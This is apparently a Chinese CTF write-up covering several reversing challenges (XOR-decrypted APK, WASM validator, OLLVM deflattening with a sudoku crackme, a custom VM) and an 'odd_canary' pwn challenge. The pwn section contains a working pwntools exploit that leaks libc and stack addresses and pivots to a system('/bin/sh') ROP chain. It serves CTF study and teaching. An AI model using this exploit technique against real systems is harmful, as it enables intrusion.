flag{W3lc0me~t0_An4r0id-w0rld}

这题也可以直接用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def decrypt_data(input_file, output_file):
key = "syclover"
with open(input_file, "rb") as f:
encrypted_data = f.read()

decrypted_data = bytearray()
for i in range(len(encrypted_data)):
decrypted_data.append(encrypted_data[i] ^ ord(key[i % len(key)]))

with open(output_file, "wb") as f:
f.write(decrypted_data)


if __name__ == "__main__":
input_file = "data" # 指定输入的加密文件路径
output_file = "sctf.apk" # 输出解密后的APK文件
decrypt_data(input_file, output_file)
print(f"解密完成,APK已保存为 {output_file}")

1

这个就记录一下查壳把,答案base64转图片就成了。

微信小程序

先用解包

1
wedecode ./wxe4679cbcec91e410

wedecode要自己安装,网上可以自己找教程。

1

解包成功

找到validator.wasm

用wabt-1.0.37-windows将wasm —-> wat

1
2
wasm2wat wasm文件 -o wat文件
#wasm2wat validator.wasm -o 1.wat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
(module
(type (;0;) (func (param i32) (result i32)))
(type (;1;) (func))
(func (;0;) (type 0) (param i32) (result i32)
(local i32 i32 i32 i32)
block (result i32) ;; label = @1
block ;; label = @2
block ;; label = @3
local.get 0
local.tee 3
i32.const 3
i32.and
i32.eqz
br_if 0 (;@3;)
i32.const 0
local.get 0
i32.load8_u
i32.eqz
br_if 2 (;@1;)
drop
loop ;; label = @4
local.get 0
i32.const 1
i32.add
local.tee 0
i32.const 3
i32.and
i32.eqz
br_if 1 (;@3;)
local.get 0
i32.load8_u
br_if 0 (;@4;)
end
br 1 (;@2;)
end
loop ;; label = @3
local.get 0
local.tee 1
i32.const 4
i32.add
local.set 0
i32.const 16843008
local.get 1
i32.load
local.tee 4
i32.sub
local.get 4
i32.or
i32.const -2139062144
i32.and
i32.const -2139062144
i32.eq
br_if 0 (;@3;)
end
loop ;; label = @3
local.get 1
local.tee 0
i32.const 1
i32.add
local.set 1
local.get 0
i32.load8_u
br_if 0 (;@3;)
end
end
local.get 0
local.get 3
i32.sub
end
i32.const 38
i32.ne
if ;; label = @1
i32.const 0
return
end
loop ;; label = @1
block ;; label = @2
local.get 2
i32.load8_u offset=1024
local.get 2
local.get 3
i32.add
i32.load8_s
i32.xor
local.tee 0
i32.const 153
i32.eq
local.set 1
local.get 0
i32.const 153
i32.ne
br_if 0 (;@2;)
local.get 2
i32.const 1
i32.add
local.tee 2
i32.const 38
i32.ne
br_if 1 (;@1;)
end
end
local.get 1)
(func (;1;) (type 1))
(memory (;0;) 258 258)
(export "a" (memory 0))
(export "b" (func 1))
(export "c" (func 0))
(data (;0;) (i32.const 1024) "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
# 内存数据(十六进制字节)
data = [
0xff, 0xf5, 0xf8, 0xfe, 0xe2, 0xff, 0xf8, 0xfc, 0xa9, 0xfb,
0xab, 0xae, 0xfa, 0xad, 0xac, 0xa8, 0xfa, 0xae, 0xab, 0xa1,
0xa1, 0xaf, 0xae, 0xf8, 0xac, 0xaf, 0xae, 0xfc, 0xa1, 0xfa,
0xa8, 0xfb, 0xfb, 0xad, 0xfc, 0xac, 0xaa, 0xe4
]

# 每个字节与0x99异或,并转换为ASCII字符串
result = bytes(b ^ 0x99 for b in data)
flag = result.decode('ascii')

print(flag)
1
flag{fae0b27c451c728867a567e8c1bb4e53}

ood_canary

before_main

1
2
3
4
5
6
7
8
9
10
__int64 before_main()
{
__int64 result; // rax

strcpy(name, "ctfer");
sprintf(bss, "Don't always trust the canary.");
result = 0LL;
__writefsqword(0x28u, 0LL);
return result;
}

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
puts("Enjoy the game !\n");
while ( 1 )
{
buf[0] = 0LL;
printf("Choose (good/vuln/exit): ");
read(0, buf, 7uLL);
if ( !strncmp((const char *)buf, "good", 4uLL) )
{
good_news();
}
else if ( !strncmp((const char *)buf, "vuln", 4uLL) )
{
vuln();
}
else if ( !strncmp((const char *)buf, "exit", 4uLL) )
{
exit_a(1LL);
}
else
{
puts("Invalid choice!");
}
}
}

good_news

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 good_news()
{
__int64 buf[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
printf("I will tell you good news,%s \n", name);
puts("but you must tell me your name first:");
*((_BYTE *)buf + (int)read(0, buf, 0x28uLL)) = 10;
*(_QWORD *)bss = &puts;
strncpy(name, (const char *)buf, 0x20uLL);
printf("Great, the good news is that I know your real name,%s\n", (const char *)buf);
return __readfsqword(0x28u) ^ v2;
}

exit_a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall exit_a(int a1)
{
char v2; // [rsp+17h] [rbp-9h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Are you sure ? [y/n]");
v2 = getchar();
while ( getchar() != 10 )
;
if ( v2 == 121 )
_exit(a1);
if ( flag )
{
*(_QWORD *)bss = &v2;
--flag;
puts("you lost flag ");
}
return __readfsqword(0x28u) ^ v3;
}

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 vuln()
{
unsigned __int64 v1; // [rsp+8h] [rbp-38h]
__int64 buf[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v1 = v3;
puts("Enter your payload: ");
read(0, buf, 0x40uLL);
if ( strncmp((const char *)buf, "exec", 4uLL) )
exit(1);
printf("Processed: %s\n", (const char *)buf);
__writefsqword(0x28u, v1);
return __readfsqword(0x28u) ^ v3;
1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

开启了canary,但是不影响

先看good_news puts的被放在了bss段bss:0000000000404080 bss,name在bss:0000000000404060 name,然后有个

1
printf("Great, the good news is that I know your real name,%s\n", (const char *)buf);

我们可以利用取个0x20的name,如果数据中没有空字节,name 不会以空字节终止,我们就可以利用其接着泄露出puts的地址。

接着看vuln, read(0, buf, 0x40uLL);存在栈溢出,但是能利用的只有0x10正好是栈迁移的标志。

但是我们还缺少一个栈的地址,可以在exit_a将栈地址放入bss段再到good函数泄露出栈的地址,然后再用栈迁移getshell。

exp

是战队里一个师傅写出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

call_read = 0x401440
leave_ret = 0x4014B6
bss = 0x404060

pwnfile = "./odd_canary"
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
io = process(pwnfile)

def good_news(io, payload, is_leak=False):
io.sendafter(b"Choose (good/vuln/exit): ", b'good')
if is_leak:
io.recv(len("I will tell you good news,")+0x20)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
io.sendafter(b"but you must tell me your name first:", payload)
return leak if is_leak else None

good_news(io, flat(cyclic(0x20)))
#gdb.attach(io)
#pause()
libc.address = good_news(io, flat(cyclic(0x20)), True) - 0x8db60
success(f"libc.address: {hex(libc.address)}")

io.sendafter(b"Choose (good/vuln/exit): ", b'exit')
io.sendafter(b"Are you sure ? [y/n]\n", b'n\n')

stack_addr = good_news(io, flat(cyclic(0x20)), True)
success(f"stack_addr: {hex(stack_addr)}")

str_bin_sh = libc.search(b'/bin/sh').__next__()
success(f"str_bin_sh: {hex(str_bin_sh)}")
system_addr = libc.sym.system
success(f"system_addr: {hex(system_addr)}")
ret = leave_ret + 1
pop_rdi = libc.search(asm('pop rdi;ret;'), executable=True).__next__()
success(f"pop_rdi: {hex(pop_rdi)}")

io.sendafter(b"Choose (good/vuln/exit): ", b'vuln')
io.sendafter(b"Enter your payload: \n", b'exec'.ljust(8, b'a') + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) + p64(0x0) + p64(stack_addr-0x27) + p64(leave_ret))

io.interactive()

但是我在本地复现,查看bss段

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x00404020
0x404020 <stdout@@GLIBC_2.2.5>: 0x000079ba9ae045c0 0x0000000000000000
0x404030 <stdin@@GLIBC_2.2.5>: 0x000079ba9ae038e0 0x0000000000000000
0x404040 <heap_buffer>: 0x0000000000000000 0x0000000000000000
0x404050: 0x0000000000000000 0x0000000000000000
0x404060 <name>: 0x6161616261616161 0x6161616461616163
0x404070: 0x000000000000000a 0x0000000000000000
0x404080 <bss>: 0x000079ba9ac87be0 0x7572742073796177
0x404090 <bss+16>: 0x6320656874207473 0x00002e7972616e61
0x4040a0 <bss+32>: 0x0000000000000000 0x0000000000000000
0x4040b0 <bss+48>: 0x0000000000000000 0x0000000000000000

puts的地址0x000079ba9ac87be0和给的libc不一样,暂时还不知道哪里的问题。

OK我发现问题在哪里了,原来它加载的是我本地libc.so.6不是题目给的。直接换用自己的libc.so.6就可以打通了。

什么是OLLVM的平坦化

控制流平坦化 是 OLLVM 提供的一种代码混淆技术。它的核心目标是破坏程序原始的控制流结构,使其变得难以阅读和分析,从而增加逆向工程和破解的难度。

OLLVM的平坦化是如何实现的?

原始代码:

1
2
3
4
5
6
7
8
9
int main() {
int a = 10;
if (a > 5) {
printf("a > 5");
} else {
printf("a <= 5");
}
return 0;
}

经过平坦化后:

  1. 创建“分发器”和一个状态变量
    • 引入一个状态变量(例如 state),它决定了下一个要执行哪个基本块。
    • 创建一个循环结构作为分发器,其内部是一个巨大的 switch-case 语句,case 的值就是 state 的值。
  2. 拆分原始基本块
    • 将原始函数中的所有基本块(除了入口块)都提取出来。
    • 为每个基本块分配一个唯一的状态值(例如,原始块 B 对应 state = 2)。
  3. 重写基本块末尾的指令
    • 这是最关键的一步。修改每个基本块的结束指令(如 jmp, brret),使其不再是直接跳转到下一个块,而是更新状态变量 state,然后跳回到分发器循环
    • 例如,原始基本块 A 执行完后应该跳转到块 B。平坦化后,块 A 的末尾被修改为 state = 2; goto dispatcher;
  4. 在分发器中调度
    • 分发器循环不停地检查 state 的值,然后通过 switch-case 跳转到对应的基本块去执行。
    • 执行完的基本块会设置新的 state,然后跳回分发器,分发器再根据新的 state 调度下一个基本块。

平坦化后的伪代码结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main() {
int state = 0; // 初始状态
while (1) { // 分发器循环
switch (state) {
case 0: // 初始块,通常做变量初始化
a = 10;
if (a > 5) {
state = 1; // 下一个状态是 “printf("a > 5")” 块
} else {
state = 2; // 下一个状态是 “printf("a <= 5")” 块
}
break;

case 1:
printf("a > 5");
state = 3; // 下一个状态是 “return 0” 块
break;

case 2:
printf("a <= 5");
state = 3; // 下一个状态是 “return 0” 块
break;

case 3:
return 0;
// state 不再更新,循环终止
break;
}
}
}

如何去OLLVM的平坦化

法一

首先我要下载这个deflat这个工具,将py文件和要处理的文件放在同一个目录中

1
2
python deflat.py -f OLLVM-deflat --addr 0x4006F0
python deflat.py -f 需要处理的文件 --addr 起始地址

起始地址用IDA查看,比如main的起始地址。

本题

1
2
3
4
5
6
python deflat.py -f OLLVM-deflat --addr 0x4006F0
python deflat.py -f OLLVM-deflat --addr 0x400870
python deflat.py -f OLLVM-deflat --addr 0x401470
python deflat.py -f OLLVM-deflat --addr 0x4018B0
python deflat.py -f OLLVM-deflat --addr 0x401F50
python deflat.py -f OLLVM-deflat --addr 0x402AC0

让我们来看看效果

未去:

1

2

已去:

1

1

很明显去除后逻辑更加清晰。

去除后再开始解题:

general_inspection验证sudoku的合法性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
__int64 __fastcall general_inspection(int (*a1)[9])
{
int mm; // [rsp+100h] [rbp-50h]
int k; // [rsp+104h] [rbp-4Ch]
int m; // [rsp+104h] [rbp-4Ch]
int n; // [rsp+104h] [rbp-4Ch]
int ii; // [rsp+104h] [rbp-4Ch]
int jj; // [rsp+104h] [rbp-4Ch]
int kk; // [rsp+104h] [rbp-4Ch]
int j; // [rsp+108h] [rbp-48h]
int i; // [rsp+10Ch] [rbp-44h]
int s[12]; // [rsp+110h] [rbp-40h] BYREF
int (*v12)[9]; // [rsp+140h] [rbp-10h]

v12 = a1;
memset(s, 0, 0x28uLL);
for ( i = 0; i < 9; ++i )
{
for ( j = 0; j < 9; ++j )
{
if ( v12[i][j] )
{
for ( k = 0; k < 10; ++k )
s[k] = 0;
for ( m = 0; m < 9; ++m )
{
if ( v12[i][m] )
{
if ( s[v12[i][m]] )
return 1;
s[v12[i][m]] = 1;
}
}
for ( n = 0; n < 10; ++n )
s[n] = 0;
for ( ii = 0; ii < 9; ++ii )
{
if ( v12[ii][j] )
{
if ( s[v12[ii][j]] )
return 1;
s[v12[ii][j]] = 1;
}
}
for ( jj = 0; jj < 10; ++jj )
s[jj] = 0;
for ( kk = 0; kk < 3; ++kk )
{
for ( mm = 0; mm < 3; ++mm )
{
if ( v12[kk - -3 * (i / 3)][mm - -3 * (j / 3)] )
{
if ( s[v12[3 * (i / 3)][9 * kk + 3 * (j / 3) + mm]] )
return 1;
s[v12[3 * (i / 3)][9 * kk + mm - -3 * (j / 3)]] = 1;
}
}
}
}
}
}
return 0;
}

trace对sudoku进行求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
void __fastcall trace(__int64 a1, int *a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // r8d
int v9; // eax
int v10; // eax
int v11; // eax
int v12; // eax
int v13; // [rsp+78h] [rbp-28h]
int v14; // [rsp+7Ch] [rbp-24h]
int v15; // [rsp+80h] [rbp-20h]
int v16; // [rsp+84h] [rbp-1Ch]
int v17; // [rsp+88h] [rbp-18h]

v14 = 0;
v13 = 671940414;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v13 == -2124394493 )
{
v4 = 338033522;
if ( v17 < 9 )
v4 = -1264962160;
v13 = v4;
}
if ( v13 != -2084617164 )
break;
++a3;
v17 = a2[12 * v14];
v16 = a2[12 * v14 + 1];
v13 = 295419890;
}
if ( v13 != -2069701336 )
break;
v5 = 942378879;
if ( v16 < 9 )
v5 = 1672958513;
v13 = v5;
}
if ( v13 != -1561315505 )
break;
v13 = 2016120547;
}
if ( v13 != -1361654796 )
break;
++v16;
v13 = -2069701336;
}
if ( v13 != -1289862082 )
break;
v13 = -1361654796;
}
if ( v13 != -1264962160 )
break;
v16 = 0;
v13 = -2069701336;
}
if ( v13 == -1246113443 )
break;
switch ( v13 )
{
case -446534017:
v9 = 1764791757;
if ( !a2[12 * v14 + 2] )
v9 = 1923573299;
v13 = v9;
break;
case -264375465:
*(_DWORD *)(36LL * a2[12 * v14] + a1 + 4LL * a2[12 * v14 + 1]) = 0;
++a3;
--v14;
v13 = -446534017;
break;
case -127108152:
a2[12 * v14] = v17;
a2[12 * v14 + 1] = v16;
v7 = findvalue(a1, &a2[12 * v14]);
v8 = 295419890;
*(_DWORD *)(36LL * v17 + a1 + 4LL * v16) = v7;
if ( *(_DWORD *)(36LL * v17 + a1 + 4LL * v16) == -1 )
v8 = 1601744610;
v13 = v8;
break;
case 67917660:
*(_DWORD *)(36LL * a2[12 * v14] + a1 + 4LL * a2[12 * v14 + 1]) = v15;
a2[12 * v14 + 2 + v15] = 1;
--a2[12 * v14 + 2];
v13 = -2084617164;
break;
case 295419890:
++v14;
a3 = a3 - 1146223301 + 1146223300;
v13 = -1289862082;
break;
case 338033522:
v13 = 671940414;
break;
case 376448068:
v17 = 0;
v13 = -2124394493;
break;
case 599244415:
v11 = -2084617164;
if ( v15 < 10 )
v11 = 1332608024;
v13 = v11;
break;
case 671940414:
v3 = -1246113443;
if ( a3 )
v3 = 376448068;
v13 = v3;
break;
case 942378879:
v13 = 1396614849;
break;
case 1332608024:
v12 = -1561315505;
if ( !a2[12 * v14 + 2 + v15] )
v12 = 67917660;
v13 = v12;
break;
case 1396614849:
++v17;
v13 = -2124394493;
break;
case 1601744610:
*(_DWORD *)(36LL * v17 + a1 + 4LL * v16) = 0;
--v14;
v13 = -446534017;
break;
case 1672958513:
v6 = -1289862082;
if ( !*(_DWORD *)(36LL * v17 + a1 + 4LL * v16) )
v6 = -127108152;
v13 = v6;
break;
case 1751405620:
printf(aGameOver);
exit(1);
case 1764791757:
v15 = 1;
v13 = 599244415;
break;
case 1923573299:
v10 = -264375465;
if ( !v14 )
v10 = 1751405620;
v13 = v10;
break;
default:
++v15;
v13 = 599244415;
break;
}
}
free(a2);
}

check1

  • 前半部分与后半部分交换
  • 每对相邻字符交换
  • 位操作和算术变换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
size_t __fastcall check1(char *a1)
{
size_t result; // rax
char v2; // [rsp+6Eh] [rbp-12h]
char v3; // [rsp+6Fh] [rbp-11h]
int i; // [rsp+70h] [rbp-10h]
int v5; // [rsp+74h] [rbp-Ch]
int j; // [rsp+74h] [rbp-Ch]
int k; // [rsp+74h] [rbp-Ch]

v5 = strlen(a1) >> 1;
for ( i = 0; i < strlen(a1) >> 1; ++i )
{
v3 = a1[v5];
a1[v5] = a1[i];
a1[i] = v3;
++v5;
}
for ( j = 0; j < strlen(a1); j += 2 )
{
v2 = a1[j];
a1[j] = a1[j + 1];
a1[j + 1] = v2;
}
for ( k = 0; ; ++k )
{
result = strlen(a1);
if ( k >= result )
break;
a1[k] = (a1[k] & 0xF3 | ~a1[k] & 0xC) - 20;
}
return result;
}

check3就是个验证函数

check2检查输入字符串是否能正确填充一个数独网格

提取数独

1
2
3
4
5
6
7
8
9
1 0 5 3 2 7 0 0 8
8 0 9 0 5 0 0 2 0
0 7 0 0 1 0 5 0 3
4 9 0 1 0 0 3 0 0
0 1 0 0 7 0 9 0 6
7 0 3 2 9 0 4 8 0
0 6 0 5 4 0 8 0 9
0 0 4 0 0 1 0 3 0
0 2 1 0 3 0 7 0 4

求解数独

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def is_valid(board, row, col, num):
for j in range(9):
if board[row][j] == num:
return False
for i in range(9):
if board[i][col] == num:
return False
start_row, start_col = 3 * (row // 3), 3 * (col // 3)
for i in range(start_row, start_row + 3):
for j in range(start_col, start_col + 3):
if board[i][j] == num:
return False
return True

def solve(board, steps):
for i in range(9):
for j in range(9):
if board[i][j] == 0:
for num in range(1, 10):
if is_valid(board, i, j, num):
board[i][j] = num
steps.append(num)
if solve(board, steps):
return True
board[i][j] = 0
steps.pop()
return False
return True

# 输入数独(0 表示空格)
sudoku = [
[1, 0, 5, 3, 2, 7, 0, 0, 8],
[8, 0, 9, 0, 5, 0, 0, 2, 0],
[0, 7, 0, 0, 1, 0, 5, 0, 3],
[4, 9, 0, 1, 0, 0, 3, 0, 0],
[0, 1, 0, 0, 7, 0, 9, 0, 6],
[7, 0, 3, 2, 9, 0, 4, 8, 0],
[0, 6, 0, 5, 4, 0, 8, 0, 9],
[0, 0, 4, 0, 0, 1, 0, 3, 0],
[0, 2, 1, 0, 3, 0, 7, 0, 4]
]

steps = []
solve(sudoku, steps)
print(''.join(map(str, steps)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def build_reverse_map():
mp = {}
for orig in range(256):
trans = (orig & 0xF3) | (~orig & 0xC)
enc = (trans - 20) & 0xFF
mp[enc] = orig
return mp

rev_map = build_reverse_map()


def decrypt(ciphertext: str) -> str:
# 转成字节数组(这里输入是字符串形式的数字,需要转成字符列表)
data = list(ciphertext)
n = len(data)


# 密文实际是 ASCII 编码后的字符,而不是数字字符串
raw = [ord(c) for c in ciphertext]

dec_bytes = []
for b in raw:
if b not in rev_map:
raise ValueError(f"无法解码字节: {b}")
dec_bytes.append(rev_map[b])

# 逆 step2: 相邻交换
for j in range(0, n, 2):
if j+1 < n:
dec_bytes[j], dec_bytes[j+1] = dec_bytes[j+1], dec_bytes[j]

# 逆 step1: 半段交换
half = n // 2
for i in range(half):
dec_bytes[i], dec_bytes[i+half] = dec_bytes[i+half], dec_bytes[i]

return bytes(dec_bytes).decode(errors="ignore")


if __name__ == "__main__":
cipher = "4693641762894685722843556137219876255986"
print(decrypt(cipher))
## KDEEIFGKIJ@AFGEJAEF@FDKADFGIJFA@FDE@JG@J

法二

D810去平坦化插件使用

插件

把文件夹和.py复制到IDA目录的plugin下即可

1

效果很好。

虚拟机(VM)保护技术逆向分析与总结

什么是虚拟机(VM)保护?

虚拟机保护是一种高级的代码混淆和反逆向技术。它的核心思想是:将原始机器代码(如x86指令)转换(或“编译”)为只能在自定义的虚拟机上执行的字节码(Bytecode)

  • 类比:就像Java程序被编译成在JVM上运行的字节码,或者.NET程序被编译成在CLR上运行的IL代码一样。VM保护创建了一个私有的、独特的“处理器”和“指令集”(通常称为VM Architecture或ISA),来执行被保护的代码。
  • 目标:极大增加逆向工程的分析难度。分析者无法直接看到原始的x86/ARM指令,而是需要先理解整个自定义虚拟机的运作机制,才能还原出原始代码的逻辑。

而我们就要分析这些自定义的逻辑然后,根据这些指令还原汇编代码。然后再分析逻辑。

例题

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3[2]; // [rsp+10h] [rbp-10h] BYREF

v3[1] = __readfsqword(0x28u);
v3[0] = 0LL;
puts("Please input something:");
sub_CD1(v3);
sub_E0B(v3);
sub_F83(v3);
puts("And the flag is GWHT{true flag}");
exit(0);
}

sub_CD1 是一个数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall sub_CD1(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 = 0; //寄存器A
*(_DWORD *)(a1 + 4) = 18; //寄存器B
*(_DWORD *)(a1 + 8) = 0; //寄存器C
*(_DWORD *)(a1 + 12) = 0; //寄存器D
*(_QWORD *)(a1 + 16) = &unk_202060; //储存指令
*(_BYTE *)(a1 + 24) = 0xF1;
*(_QWORD *)(a1 + 32) = sub_B5F; //0xF1 -->sub_B5F
*(_BYTE *)(a1 + 40) = 0xF2;
*(_QWORD *)(a1 + 48) = sub_A64; //0xF2 -->sub_A64
*(_BYTE *)(a1 + 56) = 0xF5;
*(_QWORD *)(a1 + 64) = sub_AC5; //0xF5 -->sub_AC5
*(_BYTE *)(a1 + 72) = 0xF4;
*(_QWORD *)(a1 + 80) = sub_956; //0xF4 -->sub_956
*(_BYTE *)(a1 + 88) = 0xF7;
*(_QWORD *)(a1 + 96) = sub_A08; //0xF7 -->sub_A08
*(_BYTE *)(a1 + 104) = 0xF8;
*(_QWORD *)(a1 + 112) = sub_8F0; //0xF8 -->sub_8F0
*(_BYTE *)(a1 + 120) = 0xF6;
*(_QWORD *)(a1 + 128) = sub_99C; //0xF6 -->sub_99C
qword_2022A8 = malloc(0x512uLL);
memset(qword_2022A8, 0, 0x512uLL);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall sub_B5F(__int64 a1)
{
int *v2; // [rsp+28h] [rbp-18h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = (int *)(*(_QWORD *)(a1 + 16) + 2LL);
switch ( *(_BYTE *)(*(_QWORD *)(a1 + 16) + 1LL) )
{
case 0xE1:
*(_DWORD *)a1 = *((char *)qword_2022A8 + *v2); //写入到a1指向结构的偏移 0 处
break;
case 0xE2:
*(_DWORD *)(a1 + 4) = *((char *)qword_2022A8 + *v2); //写入到a1偏移 4 处
break;
case 0xE3:
*(_DWORD *)(a1 + 8) = *((char *)qword_2022A8 + *v2); //写入到a1偏移 8 处
break;
case 0xE4:
*((_BYTE *)qword_2022A8 + *v2) = *(_DWORD *)a1; //将a1偏移 0 处的字节,写入到qword_2022A8缓冲区偏移*v2的位置
break;
case 0xE5:
*(_DWORD *)(a1 + 12) = *((char *)qword_2022A8 + *v2); //写入到a1偏移 12 处。
break;
case 0xE7:
*((_BYTE *)qword_2022A8 + *v2) = *(_DWORD *)(a1 + 4);//将a1偏移 4 处的字节,写入到qword_2022A8缓冲区偏移*v2的位置
break;
default:
break;
}
*(_QWORD *)(a1 + 16) += 6LL;
return __readfsqword(0x28u) ^ v3;
}

sub_A64异或操作a1与a1+4存储的内容异或。

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall sub_A64(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 ^= *(_DWORD *)(a1 + 4);
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

从标准输入读取数据,并强制校验输入的字符串长度是否为 21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall sub_AC5(__int64 a1)
{
const char *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
buf = (const char *)qword_2022A8;
read(0, qword_2022A8, 0x20uLL);
dword_2022A4 = strlen(buf);
if ( dword_2022A4 != 21 )
{
puts("WRONG!");
exit(0);
}
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v3;
}

sub_956进行自增操作

1
2
3
4
5
6
7
8
unsigned __int64 __fastcall sub_956(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

sub_A08偏移 0 处的 4 字节数据与偏移 12 处的 4 字节数据进行乘法,并计数器自增。

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall sub_A08(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 *= *(_DWORD *)(a1 + 12);
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

sub_8F0交换a1[0]a1[1]两个 int 变量的值

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 __fastcall sub_8F0(int *a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = *a1;
*a1 = a1[1];
a1[1] = v2;
++*((_QWORD *)a1 + 2);
return __readfsqword(0x28u) ^ v3;
}

sub_99C:对a1指向的数据结构中偏移 0 处(x)、4 处(y)、8 处(z)的三个 32 位整数执行线性组合运算(x = z + 2y + 3x),并将结果更新到偏移 0 处,同时将该结构中偏移 16 字节的 64 位计数器自增 1

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall sub_99C(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 = *(_DWORD *)(a1 + 8) + 2 * *(_DWORD *)(a1 + 4) + 3 * *(_DWORD *)a1;
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

sub_E0B循环调用sub_E6E,遇到0xF4就停止。是就是说指令达到0xF4就结束了

1
2
3
4
5
6
7
8
9
10
